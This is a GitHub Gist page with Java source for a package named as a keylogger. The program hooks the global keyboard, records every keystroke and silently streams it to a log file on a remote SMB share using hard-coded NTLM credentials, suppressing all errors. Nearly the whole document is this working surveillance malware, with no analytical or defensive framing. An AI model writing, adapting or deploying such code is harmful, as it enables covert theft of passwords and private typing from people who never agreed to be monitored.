Created
March 20, 2016 01:52
-
-
Save Willsr71/e60d73c49f5b3760b6c9 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package net.willsr71.keylogger; | |
import jcifs.smb.NtlmPasswordAuthentication; | |
import jcifs.smb.SmbException; | |
import jcifs.smb.SmbFile; | |
import jcifs.smb.SmbFileOutputStream; | |
import lc.kra.system.keyboard.GlobalKeyboardHook; | |
import lc.kra.system.keyboard.event.GlobalKeyAdapter; | |
import lc.kra.system.keyboard.event.GlobalKeyEvent; | |
import java.io.IOException; | |
import java.net.MalformedURLException; | |
import java.net.UnknownHostException; | |
import java.util.Date; | |
public class Main { | |
public static final String user = "willsr71:**********"; | |
public static final String path = "smb://enterprise/logger/log-" + new Date().getTime() + ".txt"; | |
public static boolean run = true; | |
public static SmbFileOutputStream outputStream; | |
public static void main(String[] args) { | |
GlobalKeyboardHook keyboardHook = new GlobalKeyboardHook(); | |
keyboardHook.addKeyListener(new GlobalKeyAdapter() { | |
@Override | |
public void keyPressed(GlobalKeyEvent event) { | |
if (outputStream == null || !outputStream.isOpen()) { | |
reconnect(); | |
} | |
try { | |
outputStream.write(event.getKeyChar()); | |
} catch (IOException | NullPointerException e) { | |
/* nothing to do here */ | |
} | |
} | |
}); | |
try { | |
while (run) { | |
Thread.sleep(128); | |
} | |
} catch (InterruptedException e) { | |
/* nothing to do here */ | |
} finally { | |
keyboardHook.shutdownHook(); | |
} | |
} | |
public static void reconnect() { | |
try { | |
NtlmPasswordAuthentication auth = new NtlmPasswordAuthentication(user); | |
SmbFile smbFile = new SmbFile(path, auth); | |
if (smbFile.exists()) { | |
smbFile.createNewFile(); | |
} | |
outputStream = new SmbFileOutputStream(smbFile); | |
} catch (MalformedURLException | SmbException | UnknownHostException ignored) { | |
/* nothing to do here */ | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment